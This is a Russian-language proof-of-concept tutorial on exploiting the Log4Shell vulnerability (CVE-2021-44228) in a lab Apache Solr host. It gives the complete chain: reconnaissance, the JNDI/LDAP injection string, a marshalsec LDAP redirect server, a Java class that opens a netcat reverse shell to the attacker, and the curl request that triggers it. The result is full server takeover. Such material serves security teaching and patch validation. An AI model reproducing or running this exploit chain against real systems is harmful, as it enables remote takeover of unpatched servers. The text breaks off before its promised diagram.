Уязвимость Log4j - CVE-2021-44228 📗

• Введение

Эта уязвимость была обнаружена 9 декабря 2021 года, ей присвоен идентификатор CVE-2021-44228. Данный дефект затрагивает Java-пакет логирования и создаёт оценку серьёзности (CVSS) 10 баллов , обеспечивая выполнение удалённого доступа к хосту. В сообществе специалистов по безопасности эта уязвимость известна как LOG4SHELL.

Если вам нужен список поставщиков программного обеспечения, затронутых уязвимостью LOG4J, загляните в репозиторий ниже;

GitHub/Log4jAttackSurface

• Разведка

Чтобы продемонстрировать этот тип атаки, у нас есть хост с уязвимой версией (Apache Solr 8.11.0) пакета log4j с Java 1.8.0_181.

Начните с базовой разведки, чтобы понять, какие порты открыты на этой машине, используя инструмент nmap (или любой другой, который вам интересен).

nmap -v -p- poc.log4j - Уязвимый хост

В этом случае было обнаружено 3 открытых порта. Давайте улучшим наш nmap, указав только открытые порты и команду -sV (возвращает версию приложения порта)

nmap -v -p22,111,8983 -sV poc.log4j

Возможно, у нас запущен Apache на порту 8983. Ниже мы можем подтвердить Apache: этот экземпляр Apache Solr предоставлен без каких-либо данных. Это чистая, стандартная и абсолютно минимальная установка.

• Подтверждение концепции 📚

Основной вектор атаки для log4j — это журнал приложения: если посмотреть на экран Solr, можно увидеть журнал, включённый в Dsolr.log.dir.

Обратите внимание, что конечная точка URL, которую вы только что обнаружили, должна быть дополнена префиксом solr/ при просмотре через веб-интерфейс. Это означает, что вам следует перейти по адресу:

http://poc.log4j:8983/solr/admin/cores

• почему /admin/cores ❓ 💬
  Здесь мы находим уязвимость, которую можно эксплуатировать. Это вызов, который принимает переменную (params={}) для выполнения; мы можем манипулировать этим вводом и отправлять наш пейлоад. Ниже мы видим журнал, сгенерированный Apache при вызове этого URL /admin/cores.
  

Формат обычного синтаксиса, который использует эту уязвимость, выглядит так;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Этот синтаксис указывает, что log4j вызовет функциональность «JNDI» или «Java Naming and Directory Interface». В конечном счёте это может быть использовано для доступа к внешним ресурсам или «ссылкам», что и применяется в качестве оружия в этой атаке. Обратите внимание на схему ldap://: она указывает, что цель обратится к конечной точке (контролируемому атакующим местоположению в случае этой атаки) по протоколу LDAP.

Где мы могли бы ввести этот синтаксис ldap?

Вы можете просто передать HTTP GET-переменные или параметры, которые затем будут обработаны и разобраны log4j. Для этого достаточно одной строки текста — и это делает уязвимость чрезвычайно лёгкой для эксплуатации.

Другие места, куда можно передать этот JNDI-синтаксис:

• Поля ввода, формы входа с именем пользователя и паролем, точки ввода данных в приложениях.
• HTTP-заголовки, такие как User-Agent, X-Forwarded-For, или другие настраиваемые заголовки.
• Любое место для пользовательских данных.

Действительно ли хост уязвим?

На этом шаге, после того как мы обнаружили версию log4j на целевом хосте, нам нужно проверить её и посмотреть, уязвима ли эта версия.

Открываем порт 6666 на атакующем хосте.

nc -vnlp 6666

Сделаем запрос, включив этот примитивный синтаксис JNDI-пейлоада в состав HTTP-параметров. Это легко сделать с помощью утилиты командной строки curl.

При выполнении пейлоада мы получаем возврат в нашем netcat на порту 6666. 🙌

На этом этапе вы подтвердили, что цель действительно уязвима, увидев это подключение в своём netcat-слушателе. Однако был выполнен LDAP-запрос... так что ваш netcat-слушатель, скорее всего, увидел только непечатаемые символы (странно выглядящие байты). Теперь мы можем развить этот фундамент и ответить настоящим LDAP-обработчиком.

Давайте исследуем 🤘

Как мы видели выше в curl, нам удалось с помощью протокола LDAP получить запрос в нашем NC. Однако, поскольку мы используем другой протокол, мы не можем визуализировать или изменять ответ.

Следующий шаг — создать LDAP-сервер, чтобы мы могли обрабатывать запросы. Поехали!

• Чтобы ускорить этот PoC, мы воспользуемся уже готовой утилитой: https://github.com/mbechler/marshalsec

• Для использования скрипта marshalsec нам нужен Maven. Maven доступен в apt install maven

• Внутри репозитория marshalsec начните с Maven: mvn clean package -DskipTests

• После сборки jar мы можем запустить LDAP-сервер для перенаправления запросов

Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

Подготовка эксплойта

Мы оставим LDAP-сервер запущенным и создадим скрипт для эксплуатации сервера.

• Ниже приведён эксплойт, который мы будем использовать. Ниже приведён эксплойт, который мы будем использовать. Он написан на Java. Создайте файл Exploit.java со следующим классом.

#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

• Скомпилируем эксплойт с помощью javac Exploit.java -source 8 -target 8. Будет создан Exploit.class.

• Когда эксплойт готов, разместим его на Python-сервере: python3 -m http.server.

• Откроем порт с помощью NC, чтобы получить bash-команду Java, которую мы создали ранее. Создаём новый nc -lnvp 9999.

• Приведём всё в действие! Выполним CURL, заставляющий сервер искать наш эксплойт на порту 8000, который мы создали с помощью Python.

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'

• Готово! 👏 Мы получили полный контроль над сервером.

Ладно, но как же всё это произошло ❓

• Ниже приведён простой пример схемы эксплуатации.